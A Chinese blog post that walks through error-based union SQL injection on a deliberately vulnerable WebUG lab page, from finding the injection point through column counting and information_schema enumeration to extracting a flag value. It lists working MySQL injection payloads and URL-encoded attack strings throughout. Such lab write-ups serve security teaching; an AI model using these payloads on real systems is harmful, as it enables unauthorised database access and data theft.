SQL显错注入

huangxin0506 2024-7-26 210 7/26

SQL显错注入

1 SQL注入本质

    注入攻击的本质,是把用户输入的数据当做SQL代码执行

    两个关键条件:

      第一个:用户能够控制输入,像我们常见的登陆框,一般就满足条件

      第二个:程序原本要执行的代码,拼接了用户输入的数据然后进行执行 

      Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

2 分析靶场注入

     靶场地址:

     判断注入点: and 1=1 页面正常

                            and 1=2 页面不正常

     最简单的方法:

                             页面后面加  '  , "  看是否报错

     如果是数字类型的传参,可以试一下-1

                             http://www.com/news.php?id=1 页面显示 id=1 的新闻

                             http://www.com/news.php?id=2-1 页面显示 id=1 的新闻

      也可以试试 and -1 = -1 , and -1 = -2  ,and 1 > 0 等方法 或者直接 or sleep(5) 【当然sleep也可能被拦截】

3 注入的基本流程 

   显错注入-联合查询(MYSQL数据库)注入的基本流程

SQL显错注入

   通过系统自带库查询

    MYSQL在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表  栏的数据类型与访问权限等

    information_schema.tables 存放表名和库名以及其它相关内容

    information_schema.columns 存放字段名和表名以及其它相关内容

4 显错注入靶场的做法

    MYSQL注入

   判断当前页面字段总数

and 1=1 order by 1,2,3,4,5……

   判断显示位

and 1=2 union select 1,2,3,4,5,6,7……

   查当前数据库

and 1=2 union select 1,2,database()

   查表名

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1

   查列名

and 1=2 union select 1,2,column_name from information_schema.columns where table_name=表名 and table_schema=database() limit 0,1

   查字段内容

and 1=2 union select 1,字段名,字段名 from 表名 limit 0,1

5 靶场分析

1 根据页面 http://192.168.174.134/control/sqlinject/manifest_error.php?id=1 中manifest_error.phpid=1分析其为一个动态页面,并且能够控制输入

     当id=1时,页面显示

SQL显错注入

     当id=2时,页面显示

SQL显错注入

     当id=1'时,页面显示

SQL显错注入

     得到SQL代码为:select * from sqlinjection where id='1'';

     错误原因是当id=1'时,传入SQL代码转换成id='1'',多了一个单引号,导致 SQL 语句无法被正确解析。

2 由注入点:control/sqlinject/manifest_error.php?id=1我们可以进一步考虑将注入执行的代码拼接用户输入的数据然后进行执行

有输出

select * from sqlinjection where id='1' and 1=1 -- +';    

无输出

select * from sqlinjection where id='1' and 1=2 -- +';  

进而推出

control/sqlinject/manifest_error.php?id=1' and 1=1 -- +  

3 使用order by 检测sqlinjection表有多少个字段

    order by 1,会根据第一个字段进行排序,当遇到不存在的字段时会报错,进而判断有多少个字段

select * from sqlinjection where id='1' order by 1 -- +';
control/sqlinject/manifest_error.php?id=1' order by 1 -- qwe 

    当order by 3 时报错,进而推出sqlinjection表有两个字段

    报错:

SQL显错注入

SQL显错注入

4 使用union连接表输出,可以将两个表的查询结果都输出,进而判断出显示的是哪一个字段内容

select * from sqlinjection where id='1' union select 1,2 -- +';
control/sqlinject/manifest_error.php?id=1' union select 1,2 -- +'

SQL显错注入

  不好观察,我们添加1=2将前面的输出去掉

select * from sqlinjection where id ='1'and 1=2 union select 1,2;

SQL显错注入

发现输出的为2,说明显示的为sqlinjection表的第二个字段内容

select database();可以输出目前使用的数据库名;

select * from sqlinjection where id ='1'and 1=2 union select 1,database() -- +';

SQL显错注入

综上推出

control/sqlinject/manifest_error.php?id=1'and 1=2 union select 1,database() -- +

可以得到数据库名,根据数据库名,我们又可以进行下一步操作

SQL显错注入

5 我们建立的所有数据库信息会存在系统的数据库中,其中数据库中表信息存在于系统information_schema数据库中的tables表中,table_sechma列属性存放的是数据库名,table_name列属性存放的是对应的表名

SQL显错注入

基于这个原理我们可以根据已有的数据库名得到其数据库下所有的表名

select table_name from information_schema.tables where table_schema='webug' ;

SQL显错注入

得到

select * from sqlinjection where id='1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' -- +';

SQL显错注入

进而推出

control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' -- +

SQL显错注入

6 由因为页面直接将所有表名显示在一起,不能够判断表名

可以使用LIMIT n, m 语句用于分页查询,其中 n 是起始行的偏移量(从0开始),m 是要取的记录数

select * from sqlinjection where id='1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' limit 0,1-- +';

SQL显错注入

control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,table_name from information_schema.tables where table_schema='webug' limit 0,1-- +

SQL显错注入

不断调试发现存在表名为flag

SQL显错注入

7 与5同理,建立的所有表信息会存在系统的数据库中,其中表字段信息存在于系统information_schema数据库中的columns表中,table_sechma列属性存放的是数据库名,其columns_name列属性存放的是对应的字段名

SQL显错注入

select * from sqlinjection where id='1' and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1 -- +';

SQL显错注入

select * from sqlinjection where id='1' and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1 -- +';

SQL显错注入

得到flag表中的第二字段为flag,

为防止输出连在一起,也可以使用GROUP_CONCAT() 函数,其用于将多行数据合并成一个以逗号分隔的字符串。

select * from sqlinjection where id='1' and 1=2 union select 1,group_concat( column_name) from information_schema.columns where table_schema=database() and table_name='flag' -- +';

SQL显错注入

control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,group_concat( column_name) from information_schema.columns where table_schema=database() and table_name='flag' -- +

SQL显错注入

8 综合所有信息得到flag

select flag from flag where id ='1' ;

SQL显错注入

select * from sqlinjection where id='1' and 1=2 union select 1,flag from flag -- +';

推出

control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,flag from flag -- +'

SQL显错注入

flag:dfafdasfafdsadfa

SQL显错注入

- THE END -

huangxin0506

7月26日14:08

最后修改:2024年7月26日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论